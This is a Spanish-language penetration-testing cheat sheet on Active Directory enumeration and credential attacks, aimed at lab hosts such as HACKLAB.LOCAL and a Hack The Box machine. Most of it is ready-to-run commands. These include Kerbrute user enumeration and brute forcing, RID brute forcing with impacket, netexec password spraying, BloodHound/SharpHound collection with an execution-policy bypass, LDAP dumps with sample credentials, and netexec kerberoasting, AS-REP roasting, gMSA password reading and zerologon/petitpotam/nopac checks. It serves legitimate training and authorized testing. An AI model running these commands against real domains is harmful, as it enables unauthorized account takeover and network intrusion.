Enumeración de Active Directory

Si no tenemos un usuario con el que empezar las pruebas (que suele ser el caso), tendremos que encontrar una manera de establecer un punto de apoyo en el dominio, ya sea obteniendo credenciales en texto claro o un hash de contraseña NTLM para un usuario, un shell SYSTEM en un host unido al dominio, o un shell en el contexto de una cuenta de usuario de dominio. Obtener un usuario válido con credenciales es crítico en las primeras etapas de una prueba de penetración interna. Este acceso (incluso al nivel más bajo) abre muchas oportunidades para realizar enumeraciones e incluso ataques.

Kerbrute

Kerbrute puede ser una opción más sigilosa para la enumeración de cuentas de dominio. Se aprovecha del hecho de que los fallos de pre-autenticación Kerberos a menudo no activan registros o alertas. Utilizaremos Kerbrute junto con las listas de usuarios como pueden ser jsmith.txt o jsmith2.txt de Insidetrust. Este repositorio contiene muchas listas de usuarios diferentes que pueden ser extremadamente útiles cuando se intenta enumerar usuarios cuando se comienza desde una perspectiva no autenticada. Podemos apuntar Kerbrute al DC y alimentarlo con una lista de palabras. La herramienta es rápida, y se nos proporcionarán resultados que nos permitirán saber si las cuentas encontradas son válidas o no, lo cual es un gran punto de partida para lanzar ataques como el de Password Spraying.

Por medio de una lista de usuarios, como puede ser las mencionadas anteriormente podemos ver usuarios válidos a nivel de dominio gracias a los fallos de pre-autenticación Kerberos

kerbrute userenum -d HACKLAB.LOCAL --dc 192.168.56.10 jsmith.txt -o ad_users.txt

Puede haber veces que un usuario tenga de contraseña su mismo nombre de usuario:

kerbrute bruteuser --d HACKLAB.LOCAL -dc 192.168.56.10 jsmith.txt thomas.brown

Otras herramientas a tener en cuenta son RPCClient y Enum4Linux.

lookupsid

Esta herramienta intentará forzar los identificadores de seguridad de Windows (SID) de cualquier usuario del dominio de AD. Cada usuario tiene un SID único, compuesto por su identificador relativo (RID) concatenado con el SID del dominio. Los SID de usuario suelen ser emitidos por un controlador de dominio y se utilizan en mecanismos de autorización y acceso, como parte del token de acceso creado durante el inicio de sesión.

impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt

Password Spraying

Otro aspecto destacable es el ataque conocido como Password Spraying. Para contextualizar, imaginemos que disponemos de unas credenciales como thomas.brown:MySup3erPass123!. Una táctica común en este escenario es conectarse al Protocolo de Llamada a Procedimientos Remotos (RPC) - para extraer una lista de todos los usuarios del dominio. Esta lista se guarda en un archivo, por ejemplo users.txt, y luego se proporciona como entrada a herramientas como el propio netexec, junto con la contraseña antes mencionada. Este proceso permite intentar el acceso a múltiples cuentas del dominio, aprovechando la débil seguridad de la contraseña utilizada.

nxc smb 192.168.56.10 -u users.txt -p 'password' --continue-on-success

Por otra parte, si contamos con una lista de contraseñas también podemos utilizarlas.

nxc smb 192.168.56.10 -u users.txt -p passwords.txt --continue-on-success --no-bruteforce

El argumento --no-bruteforce se emplea para evitar la prueba de todas las contraseñas disponibles para cada usuario, en su lugar, se prueba el usuario de la línea 1 con la contraseña de la línea 1, el usuario de la línea 2 con la contraseña de la línea 2, y así sucesivamente.

BloodHound

Opción 1

La primera forma de enumerar con Bloodhound, es hacerlo desde la máquina atacante utilizando bloodhound.py.

bloodhound-python -u 'user' -p 'password' -d HACKLAB.local -ns 192.168.56.10 --zip -c All

Opción 2

La segunda manera, consta de los siguientes pasos:

  1. Descargar SharpHound.ps1
wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1
  1. Subirlo a la máquina víctima ya sea con un servidor de SMB o upload de evil-winrm.
  2. Importar el módulo:
powershell -ep bypass
Import-Module .\SharpHound.ps1
  1. Invocar a BloodHound
Invoke-BloodHound -CollectionMethod All

Ahora queda descargar el zip y meterlo en BloodHound.

Opción 3

Otra alternativa es utilizar SharpHound.exe.

.\SharpHound.exe -c all

Por ultimo, descargamos el archivo zip nuevamente y los subimos en BloodHound.

ldapsearch

Para enumerar a través del protoclo LDAP, podemos usar la herramienta ldapsearch:

ldapsearch -H ldap://192.168.56.10 -x -s base namingcontexts
  • -H ldap://192.168.56.10: Especifica el URI del servidor LDAP al que se va a conectar. En este caso, ldap://192.168.56.10.

  • -x: Indica que se utilizará el método de autenticación simple. Esto es comúnmente utilizado para realizar pruebas, pero no es seguro para ambientes de producción.

  • -s base: Especifica el alcance de la búsqueda. En este caso, base significa que la búsqueda se realiza en el objeto base especificado.

  • namingContexts: Especifica el atributo que se desea buscar. En este caso, namingContexts es el atributo que contiene los contextos de nombres del servidor LDAP.

ldapsearch -x -H ldap://192.168.56.10 -D '' -w '' -b "DC=192.168.56.10,DC=local"
ldapsearch -x -h 192.168.56.10 -b "dc=hacklab,dc=local" "*" | awk '/dn: / {print $2}'
ldapsearch -H ldap://192.168.56.10 -D 'thomas.brown@HACKLAB.local' -w 'MySup3erPass123!' -x -b "DC=HACKLAB,DC=LOCAL"
ldapsearch -H ldap://192.168.56.10 -D 'thomas.brown@HACKLAB.local' -w 'MySup3erPass123!' -x -s base -b "DC=HACKLAB,DC=LOCAL" "(objectClass=*)" "*" +

ldapdomaindump

En caso de tener credenciales válidas podemos hacer uso de ldapdomaindump:

ldapdomaindump -u 'HACKLAB.local\thomas.brown' -p 'Password123' 192.168.56.10

Esto generará unos archivos json, grep, html que con un servidor web podemos ver en el navegador.

LDAP

netexec ldap <RHOST> -u '' -p '' -M -user-desc
netexec ldap <RHOST> -u '' -p '' -M get-desc-users
netexec ldap <RHOST> -u '' -p '' -M ldap-checker
netexec ldap <RHOST> -u '' -p '' -M veeam
netexec ldap <RHOST> -u '' -p '' -M maq
netexec ldap <RHOST> -u '' -p '' -M adcs
netexec ldap <RHOST> -u '' -p '' -M zerologon
netexec ldap <RHOST> -u '' -p '' -M petitpotam
netexec ldap <RHOST> -u '' -p '' -M nopac
netexec ldap <RHOST> -u '' -p '' --use-kcache -M whoami
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --kerberoasting hashes.kerberoasting
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --asreproast hashes.asreproast
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa -k
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-convert-id <ID>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-decrypt-lsa <ACCOUNT>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --find-delegation
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M get-network -o ALL=true
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c All
netexec ldap <RHOST> -u '<USERNAME>' --use-kcache --bloodhound --dns-tcp --dns-server <RHOST> -c All